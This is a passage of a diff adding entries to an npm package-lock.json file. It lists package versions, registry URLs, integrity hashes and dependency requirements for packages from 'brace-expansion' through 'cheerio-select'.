+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                }
+            }
+        },
+        "brace-expansion": {
+            "version": "1.1.11",
+            "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
+            "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+            "requires": {
+                "balanced-match": "^1.0.0",
+                "concat-map": "0.0.1"
+            }
+        },
+        "braces": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+            "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+            "requires": {
+                "fill-range": "^7.0.1"
+            }
+        },
+        "brorand": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz",
+            "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w=="
+        },
+        "browserify-aes": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
+            "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==",
+            "requires": {
+                "buffer-xor": "^1.0.3",
+                "cipher-base": "^1.0.0",
+                "create-hash": "^1.1.0",
+                "evp_bytestokey": "^1.0.3",
+                "inherits": "^2.0.1",
+                "safe-buffer": "^5.0.1"
+            }
+        },
+        "browserify-cipher": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz",
+            "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==",
+            "requires": {
+                "browserify-aes": "^1.0.4",
+                "browserify-des": "^1.0.0",
+                "evp_bytestokey": "^1.0.0"
+            }
+        },
+        "browserify-des": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz",
+            "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==",
+            "requires": {
+                "cipher-base": "^1.0.1",
+                "des.js": "^1.0.0",
+                "inherits": "^2.0.1",
+                "safe-buffer": "^5.1.2"
+            }
+        },
+        "browserify-rsa": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz",
+            "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==",
+            "requires": {
+                "bn.js": "^5.0.0",
+                "randombytes": "^2.0.1"
+            }
+        },
+        "browserify-sign": {
+            "version": "4.2.1",
+            "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz",
+            "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==",
+            "requires": {
+                "bn.js": "^5.1.1",
+                "browserify-rsa": "^4.0.1",
+                "create-hash": "^1.2.0",
+                "create-hmac": "^1.1.7",
+                "elliptic": "^6.5.3",
+                "inherits": "^2.0.4",
+                "parse-asn1": "^5.1.5",
+                "readable-stream": "^3.6.0",
+                "safe-buffer": "^5.2.0"
+            },
+            "dependencies": {
+                "safe-buffer": {
+                    "version": "5.2.1",
+                    "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+                    "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+                }
+            }
+        },
+        "browserify-zlib": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz",
+            "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==",
+            "requires": {
+                "pako": "~1.0.5"
+            }
+        },
+        "browserslist": {
+            "version": "4.21.3",
+            "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.3.tgz",
+            "integrity": "sha512-898rgRXLAyRkM1GryrrBHGkqA5hlpkV5MhtZwg9QXeiyLUYs2k00Un05aX5l2/yJIOObYKOpS2JNo8nJDE7fWQ==",
+            "requires": {
+                "caniuse-lite": "^1.0.30001370",
+                "electron-to-chromium": "^1.4.202",
+                "node-releases": "^2.0.6",
+                "update-browserslist-db": "^1.0.5"
+            }
+        },
+        "buffer": {
+            "version": "5.7.1",
+            "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz",
+            "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==",
+            "requires": {
+                "base64-js": "^1.3.1",
+                "ieee754": "^1.1.13"
+            }
+        },
+        "buffer-alloc": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz",
+            "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==",
+            "requires": {
+                "buffer-alloc-unsafe": "^1.1.0",
+                "buffer-fill": "^1.0.0"
+            }
+        },
+        "buffer-alloc-unsafe": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz",
+            "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg=="
+        },
+        "buffer-fill": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz",
+            "integrity": "sha512-T7zexNBwiiaCOGDg9xNX9PBmjrubblRkENuptryuI64URkXDFum9il/JGL8Lm8wYfAXpredVXXZz7eMHilimiQ=="
+        },
+        "buffer-from": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+            "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ=="
+        },
+        "buffer-indexof": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz",
+            "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g=="
+        },
+        "buffer-xor": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz",
+            "integrity": "sha512-571s0T7nZWK6vB67HI5dyUF7wXiNcfaPPPTl6zYCNApANjIvYJTg7hlud/+cJpdAhS7dVzqMLmfhfHR3rAcOjQ=="
+        },
+        "builtin-status-codes": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz",
+            "integrity": "sha512-HpGFw18DgFWlncDfjTa2rcQ4W88O1mC8e8yZ2AvQY5KDaktSTwo+KRf6nHK6FRI5FyRyb/5T6+TSxfP7QyGsmQ=="
+        },
+        "bytes": {
+            "version": "3.1.2",
+            "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+            "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg=="
+        },
+        "cacache": {
+            "version": "13.0.1",
+            "resolved": "https://registry.npmjs.org/cacache/-/cacache-13.0.1.tgz",
+            "integrity": "sha512-5ZvAxd05HDDU+y9BVvcqYu2LLXmPnQ0hW62h32g4xBTgL/MppR4/04NHfj/ycM2y6lmTnbw6HVi+1eN0Psba6w==",
+            "requires": {
+                "chownr": "^1.1.2",
+                "figgy-pudding": "^3.5.1",
+                "fs-minipass": "^2.0.0",
+                "glob": "^7.1.4",
+                "graceful-fs": "^4.2.2",
+                "infer-owner": "^1.0.4",
+                "lru-cache": "^5.1.1",
+                "minipass": "^3.0.0",
+                "minipass-collect": "^1.0.2",
+                "minipass-flush": "^1.0.5",
+                "minipass-pipeline": "^1.2.2",
+                "mkdirp": "^0.5.1",
+                "move-concurrently": "^1.0.1",
+                "p-map": "^3.0.0",
+                "promise-inflight": "^1.0.1",
+                "rimraf": "^2.7.1",
+                "ssri": "^7.0.0",
+                "unique-filename": "^1.1.1"
+            },
+            "dependencies": {
+                "lru-cache": {
+                    "version": "5.1.1",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+                    "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+                    "requires": {
+                        "yallist": "^3.0.2"
+                    }
+                },
+                "yallist": {
+                    "version": "3.1.1",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
+                    "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
+                }
+            }
+        },
+        "cache-base": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
+            "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
+            "requires": {
+                "collection-visit": "^1.0.0",
+                "component-emitter": "^1.2.1",
+                "get-value": "^2.0.6",
+                "has-value": "^1.0.0",
+                "isobject": "^3.0.1",
+                "set-value": "^2.0.0",
+                "to-object-path": "^0.3.0",
+                "union-value": "^1.0.0",
+                "unset-value": "^1.0.0"
+            },
+            "dependencies": {
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "cache-manager": {
+            "version": "2.11.1",
+            "resolved": "https://registry.npmjs.org/cache-manager/-/cache-manager-2.11.1.tgz",
+            "integrity": "sha512-XhUuc9eYwkzpK89iNewFwtvcDYMUsvtwzHeyEOPJna/WsVsXcrzsA1ft2M0QqPNunEzLhNCYPo05tEfG+YuNow==",
+            "requires": {
+                "async": "1.5.2",
+                "lodash.clonedeep": "4.5.0",
+                "lru-cache": "4.0.0"
+            },
+            "dependencies": {
+                "async": {
+                    "version": "1.5.2",
+                    "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
+                    "integrity": "sha512-nSVgobk4rv61R9PUSDtYt7mPVB2olxNR5RWJcAsH676/ef11bUZwvu7+RGYrYauVdDPcO519v68wRhXQtxsV9w=="
+                },
+                "lru-cache": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.0.0.tgz",
+                    "integrity": "sha512-WKhDkjlLwzE8jAQdQlsxLUQTPXLCKX/4cJk6s5AlRtJkDBk0IKH5O51bVDH61K9N4bhbbyvLM6EiOuE8ovApPA==",
+                    "requires": {
+                        "pseudomap": "^1.0.1",
+                        "yallist": "^2.0.0"
+                    }
+                },
+                "yallist": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
+                    "integrity": "sha512-ncTzHV7NvsQZkYe1DW7cbDLm0YpzHmZF5r/iyP3ZnQtMiJ+pjzisCiMNI+Sj+xQF5pXhSHxSB3uDbsBTzY/c2A=="
+                }
+            }
+        },
+        "cacheable-lookup": {
+            "version": "5.0.4",
+            "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz",
+            "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA=="
+        },
+        "cacheable-request": {
+            "version": "6.1.0",
+            "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
+            "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
+            "requires": {
+                "clone-response": "^1.0.2",
+                "get-stream": "^5.1.0",
+                "http-cache-semantics": "^4.0.0",
+                "keyv": "^3.0.0",
+                "lowercase-keys": "^2.0.0",
+                "normalize-url": "^4.1.0",
+                "responselike": "^1.0.2"
+            },
+            "dependencies": {
+                "lowercase-keys": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
+                    "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA=="
+                },
+                "normalize-url": {
+                    "version": "4.5.1",
+                    "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz",
+                    "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA=="
+                }
+            }
+        },
+        "call-bind": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
+            "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+            "requires": {
+                "function-bind": "^1.1.1",
+                "get-intrinsic": "^1.0.2"
+            }
+        },
+        "caller-callsite": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/caller-callsite/-/caller-callsite-2.0.0.tgz",
+            "integrity": "sha512-JuG3qI4QOftFsZyOn1qq87fq5grLIyk1JYd5lJmdA+fG7aQ9pA/i3JIJGcO3q0MrRcHlOt1U+ZeHW8Dq9axALQ==",
+            "requires": {
+                "callsites": "^2.0.0"
+            },
+            "dependencies": {
+                "callsites": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/callsites/-/callsites-2.0.0.tgz",
+                    "integrity": "sha512-ksWePWBloaWPxJYQ8TL0JHvtci6G5QTKwQ95RcWAa/lzoAKuAOflGdAK92hpHXjkwb8zLxoLNUoNYZgVsaJzvQ=="
+                }
+            }
+        },
+        "caller-path": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-2.0.0.tgz",
+            "integrity": "sha512-MCL3sf6nCSXOwCTzvPKhN18TU7AHTvdtam8DAogxcrJ8Rjfbbg7Lgng64H9Iy+vUV6VGFClN/TyxBkAebLRR4A==",
+            "requires": {
+                "caller-callsite": "^2.0.0"
+            }
+        },
+        "callsites": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+            "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ=="
+        },
+        "camel-case": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
+            "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
+            "requires": {
+                "pascal-case": "^3.1.2",
+                "tslib": "^2.0.3"
+            },
+            "dependencies": {
+                "tslib": {
+                    "version": "2.4.0",
+                    "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+                    "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+                }
+            }
+        },
+        "camelcase": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz",
+            "integrity": "sha512-wzLkDa4K/mzI1OSITC+DUyjgIl/ETNHE9QvYgy6J6Jvqyyz4C0Xfd+lQhb19sX2jMpZV4IssUn0VDVmglV+s4g=="
+        },
+        "camelcase-keys": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz",
+            "integrity": "sha512-bA/Z/DERHKqoEOrp+qeGKw1QlvEQkGZSc0XaY6VnTxZr+Kv1G5zFwttpjv8qxZ/sBPT4nthwZaAcsAZTJlSKXQ==",
+            "requires": {
+                "camelcase": "^2.0.0",
+                "map-obj": "^1.0.0"
+            },
+            "dependencies": {
+                "camelcase": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz",
+                    "integrity": "sha512-DLIsRzJVBQu72meAKPkWQOLcujdXT32hwdfnkI1frSiSRMK1MofjKHf+MEx0SB6fjEFXL8fBDv1dKymBlOp4Qw=="
+                }
+            }
+        },
+        "caniuse-api": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
+            "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "caniuse-lite": "^1.0.0",
+                "lodash.memoize": "^4.1.2",
+                "lodash.uniq": "^4.5.0"
+            }
+        },
+        "caniuse-lite": {
+            "version": "1.0.30001376",
+            "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001376.tgz",
+            "integrity": "sha512-I27WhtOQ3X3v3it9gNs/oTpoE5KpwmqKR5oKPA8M0G7uMXh9Ty81Q904HpKUrM30ei7zfcL5jE7AXefgbOfMig=="
+        },
+        "caseless": {
+            "version": "0.12.0",
+            "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz",
+            "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw=="
+        },
+        "ccount": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",
+            "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg=="
+        },
+        "center-align": {
+            "version": "0.1.3",
+            "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz",
+            "integrity": "sha512-Baz3aNe2gd2LP2qk5U+sDk/m4oSuwSDcBfayTCTBoWpfIGO5XFxPmjILQII4NGiZjD6DoDI6kf7gKaxkf7s3VQ==",
+            "requires": {
+                "align-text": "^0.1.3",
+                "lazy-cache": "^1.0.3"
+            }
+        },
+        "chalk": {
+            "version": "2.4.2",
+            "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+            "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+            "requires": {
+                "ansi-styles": "^3.2.1",
+                "escape-string-regexp": "^1.0.5",
+                "supports-color": "^5.3.0"
+            }
+        },
+        "character-entities": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",
+            "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ=="
+        },
+        "character-entities-html4": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz",
+            "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA=="
+        },
+        "character-entities-legacy": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz",
+            "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ=="
+        },
+        "character-parser": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz",
+            "integrity": "sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==",
+            "requires": {
+                "is-regex": "^1.0.3"
+            }
+        },
+        "character-reference-invalid": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",
+            "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw=="
+        },
+        "chardet": {
+            "version": "0.7.0",
+            "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz",
+            "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA=="
+        },
+        "cheerio": {
+            "version": "1.0.0-rc.12",
+            "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.12.tgz",
+            "integrity": "sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==",
+            "requires": {
+                "cheerio-select": "^2.1.0",
+                "dom-serializer": "^2.0.0",
+                "domhandler": "^5.0.3",
+                "domutils": "^3.0.1",
+                "htmlparser2": "^8.0.1",
+                "parse5": "^7.0.0",
+                "parse5-htmlparser2-tree-adapter": "^7.0.0"
+            },
+            "dependencies": {
+                "dom-serializer": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+                    "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
+                    "requires": {
+                        "domelementtype": "^2.3.0",
+                        "domhandler": "^5.0.2",
+                        "entities": "^4.2.0"
+                    }
+                },
+                "domhandler": {
+                    "version": "5.0.3",
+                    "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+                    "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+                    "requires": {
+                        "domelementtype": "^2.3.0"
+                    }
+                },
+                "domutils": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.0.1.tgz",
+                    "integrity": "sha512-z08c1l761iKhDFtfXO04C7kTdPBLi41zwOZl00WS8b5eiaebNpY00HKbztwBq+e3vyqWNwWF3mP9YLUeqIrF+Q==",
+                    "requires": {
+                        "dom-serializer": "^2.0.0",
+                        "domelementtype": "^2.3.0",
+                        "domhandler": "^5.0.1"
+                    }
+                },
+                "entities": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/entities/-/entities-4.3.0.tgz",
+                    "integrity": "sha512-/iP1rZrSEJ0DTlPiX+jbzlA3eVkY/e8L8SozroF395fIqE3TYF/Nz7YOMAawta+vLmyJ/hkGNNPcSbMADCCXbg=="
+                },
+                "htmlparser2": {
+                    "version": "8.0.1",
+                    "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.1.tgz",
+                    "integrity": "sha512-4lVbmc1diZC7GUJQtRQ5yBAeUCL1exyMwmForWkRLnwyzWBFxN633SALPMGYaWZvKe9j1pRZJpauvmxENSp/EA==",
+                    "requires": {
+                        "domelementtype": "^2.3.0",
+                        "domhandler": "^5.0.2",
+                        "domutils": "^3.0.1",
+                        "entities": "^4.3.0"
+                    }
+                }
+            }
+        },
+        "cheerio-select": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/cheerio-select/-/cheerio-select-2.1.0.tgz",
+            "integrity": "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==",
+            "requires": {
+                "boolbase": "^1.0.0",
+                "css-select": "^5.1.0",
+                "css-what": "^6.1.0",
+                "domelementtype": "^2.3.0",
+                "domhandler": "^5.0.3",
+                "domutils": "^3.0.1"
+            },
+            "dependencies": {
+                "css-select": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz",
+                    "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==",
+                    "requires": {
+                        "boolbase": "^1.0.0",
+                        "css-what": "^6.1.0",
+                        "domhandler": "^5.0.2",
+                        "domutils": "^3.0.1",
+                        "nth-check": "^2.0.1"
+                    }
+                },
+                "dom-serializer": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+                    "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
+                    "requires": {
+                        "domelementtype": "^2.3.0",
+                        "domhandler": "^5.0.2",
+                        "entities": "^4.2.0"
+                    }
+                },
+                "domhandler": {
+                    "version": "5.0.3",
+                    "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+                    "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+                    "requires": {
+                        "domelementtype": "^2.3.0"
+                    }
+                },
+                "domutils": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.0.1.tgz",
+                    "integrity": "sha512-z08c1l761iKhDFtfXO04C7kTdPBLi41zwOZl00WS8b5eiaebNpY00HKbztwBq+e3vyqWNwWF3mP9YLUeqIrF+Q==",
+                    "requires": {
+                        "dom-serializer": "^2.0.0",
+                        "domelementtype": "^2.3.0",
+                        "domhandler": "^5.0.1"
+                    }
+                },
+                "entities": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/entities/-/entities-4.3.0.tgz",
+                    "integrity": "sha512-/iP1rZrSEJ0DTlPiX+jbzlA3eVkY/e8L8SozroF395fIqE3TYF/Nz7YOMAawta+vLmyJ/hkGNNPcSbMADCCXbg=="
+                }
+            }
+        },
+        "chokidar": {
+            "version": "3.4.0",
